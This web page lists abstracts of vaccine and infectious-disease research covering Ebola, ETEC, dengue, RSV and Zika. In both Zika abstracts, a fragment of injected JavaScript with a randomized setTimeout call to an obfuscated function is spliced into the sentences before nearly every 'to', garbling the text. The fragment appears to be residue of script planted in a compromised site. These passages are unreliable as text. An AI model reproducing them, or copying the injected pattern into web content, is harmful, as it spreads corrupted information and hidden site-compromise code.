Publications

The rVSV-ZEBOV vaccine is currently the only Ebola vaccine that has successfully completed efficacy trials and is being used in response efforts. This vaccine would not likely be viewed as appropriate for use in pregnant women outside the context of an Ebola outbreak.

Enterotoxigenic Escherichia coli (ETEC) is a global diarrheal pathogen that utilizes adhesins and secreted enterotoxins to cause disease in mammalian hosts. Decades of research on virulence factor regulation in ETEC has revealed a variety of environmental factors that influence gene expression, including bile, pH, bicarbonate, osmolarity, and glucose. However, other hallmarks of the intestinal tract, such as low oxygen availability, have not been examined.

We characterized human genome-wide transcripts in whole blood from 10 volunteers at 11 time-points after immunization with the dengue virus type 3 (DENV-3) component of the NIH dengue vaccine candidate TV003 and from 30 hospitalized children with acute primary DENV-3 infection. We compared day-specific gene expression patterns with subsequent neutralizing antibody (NAb) titers.

The global burden of disease caused by respiratory syncytial virus (RSV) is increasingly recognised, not only in infants, but also in older adults (aged ≥65 years). Advances in knowledge of the structural biology of the RSV surface fusion glycoprotein have revolutionised RSV vaccine development by providing a new target for preventive interventions. The RSV vaccine landscape has rapidly expanded to include 19 vaccine candidates and monoclonal antibodies (mAbs) in clinical trials, reflecting the urgency of reducing this global health problem and hence the prioritisation of RSV vaccine development.

The devastating consequences of Zika virus (ZIKV) infection, leading dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to congenital Zika syndrome (CZS) and neurological complications such as Guillain–Barre Syndrome (GBS), led the World Health Organization (WHO) dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to declare a Public Health Emergency of International Concern on February 1, 2016, and dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to call on the global research and product development (R&D) communities dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to prioritize the development of preventative and therapeutic solutions. The R&D communities responded rapidly, with 45 vaccine candidates being initially evaluated in non-clinical studies and most progressing dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to active development.

Zika virus (ZIKV), a previously little known arbovirus, caused an unprecedented outbreak in Latin America and the Caribbean throughout 2015 and 2016. The virus has been associated with the congenital Zika syndrome (CZS), which can occur with maternal ZIKV infection during any trimester and can result from asympdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatic infection. There is concern that even low levels of viremia can result in CZS, meaning an effective vaccine will need dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to induce very high levels of protection. Controlled human infection models (CHIMs), in which subjects are infected with a pathogen of interest, have been used dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to down-select vaccine candidates and have provided efficacy data in support of vaccine licensure.

Protection against RSV-associated disease is primarily antibody (Ab)–mediated, and passively acquired RSV neutralizing Ab can protect infants against RSV ALRI. To address the global burden of RSV, promising vaccines are in development with a focus on maternal immunization (to prevent RSV ALRI in the first months of life) and infant immunization (to prevent RSV ALRI in later infancy and early childhood).

A wide variety of dengue vaccine platforms are currently in development, and live attenuated vaccines are furthest along the development pathway [6]. The catalyst for this progress may be recognition of the distinct advantages afforded by live dengue vaccines: live vaccines currently in use for other flavivirus diseases, including yellow fever (YF-17D) and Japanese encephalitis (SA14-14-2), are effective and can be very economical to produce [7]; live viruses replicate and therefore induce both humoral and cellular immune responses, assisted by the presentation of epitopes in their native conformation; and live attenuated vaccines have been successful against numerous other nonflavivirus pathogens and…